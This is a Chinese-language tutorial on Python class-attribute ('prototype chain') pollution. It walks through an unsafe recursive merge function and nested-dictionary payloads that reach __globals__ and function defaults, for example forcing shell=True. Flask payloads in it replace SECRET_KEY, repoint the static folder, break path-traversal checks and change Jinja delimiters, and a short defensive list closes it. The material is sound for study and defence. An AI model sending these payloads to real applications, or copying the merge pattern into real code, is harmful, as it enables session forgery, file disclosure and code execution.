浅谈Python原型链污染及利用方式
字数 789 2025-08-23 18:31:09
Python原型链污染攻击详解
一、基本概念
Python原型链污染与Node.js原型链污染原理相似,都是通过控制属性值来实现污染。但Python只能污染类的属性,不能污染类的方法。
二、危险代码分析
关键merge函数
def merge(src, dst):
# 递归合并函数
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
这个函数的工作原理:
- 遍历src中的键值对
- 检查dst是否有
__getitem__属性判断是否为字典 - 如果是字典且存在相同键且值为字典,则递归合并
- 否则直接设置属性值
三、污染过程分析
基础污染示例
class father:
secret = "hello"
class son_a(father):
pass
class son_b(father):
pass
instance = son_b()
payload = {
"__class__": {
"__base__": {
"secret": "world"
}
}
}
print(son_a.secret) # hello
print(instance.secret) # hello
merge(payload, instance)
print(son_a.secret) # world
print(instance.secret) # world
污染过程:
- 通过
__class__获取实例的类 - 通过
__base__获取父类 - 修改父类的
secret属性
四、关键攻击技术
1. 获取目标类的方法
__base__属性:用于获取继承的父类__globals__属性:访问函数所在模块的全局命名空间
a = 1
def demo():
pass
class A:
def __init__(self):
pass
print(demo.__globals__ == globals() == A.__init__.__globals__) # True
2. 获取其他模块的方法
(1) 直接import获取
import demo
payload = {
"__init__": {
"__globals__": {
"demo": {
"a": 4,
"B": {
"classa": 5
}
}
}
}
}
(2) 通过sys模块获取
import sys
payload = {
"__init__": {
"__globals__": {
"sys": {
"modules": {
"demo": {
"a": 4,
"B": {
"classa": 5
}
}
}
}
}
}
}
(3) 通过加载器(loader)获取
import math
# 获取模块的loader
loader = math.__loader__
print(loader)
# 或者通过__spec__
loader = math.__spec__.__init__.__globals__['sys']
3. 函数形参默认值替换
__defaults__:存储函数默认参数值的元组__kwdefaults__:存储关键字参数的字典
def a(var_1, var_2=2, var_3=3):
pass
print(a.__defaults__) # (2, 3)
# 替换示例
payload = {
"__init__": {
"__globals__": {
"demo": {
"__defaults__": (True,)
}
}
}
}
# 关键字参数替换
payload = {
"__init__": {
"__globals__": {
"demo": {
"__kwdefaults__": {
"shell": True
}
}
}
}
}
五、Flask框架下的攻击技术
1. Flask密钥替换
payload = {
"__init__": {
"__globals__": {
"app": {
"config": {
"SECRET_KEY": "Polluted~"
}
}
}
}
}
2. 控制首次请求标志
payload = {
"__init__": {
"__globals__": {
"app": {
"_got_first_request": False
}
}
}
}
3. 静态目录污染
payload = {
"__init__": {
"__globals__": {
"app": {
"_static_folder": "./"
}
}
}
}
4. 绕过目录遍历防护
payload = {
"__init__": {
"__globals__": {
"os": {
"path": {
"pardir": ","
}
}
}
}
}
5. Jinja语法标识符修改
payload = {
"__init__": {
"__globals__": {
"app": {
"jinja_env": {
"variable_start_string": "[[",
"variable_end_string": "]]"
}
}
}
}
}
六、防御建议
- 避免使用不安全的merge操作
- 对用户输入进行严格过滤
- 限制可修改的属性范围
- 使用不可变对象存储敏感配置
- 及时更新框架版本
七、总结
Python原型链污染攻击主要通过控制类属性值来实现,利用Python的特殊属性如__class__、__base__、__globals__等来访问和修改关键配置。在Web框架如Flask中,这种技术可以用于修改密钥、绕过安全限制等,危害极大。开发者应当充分了解这些攻击技术,才能更好地防御此类攻击。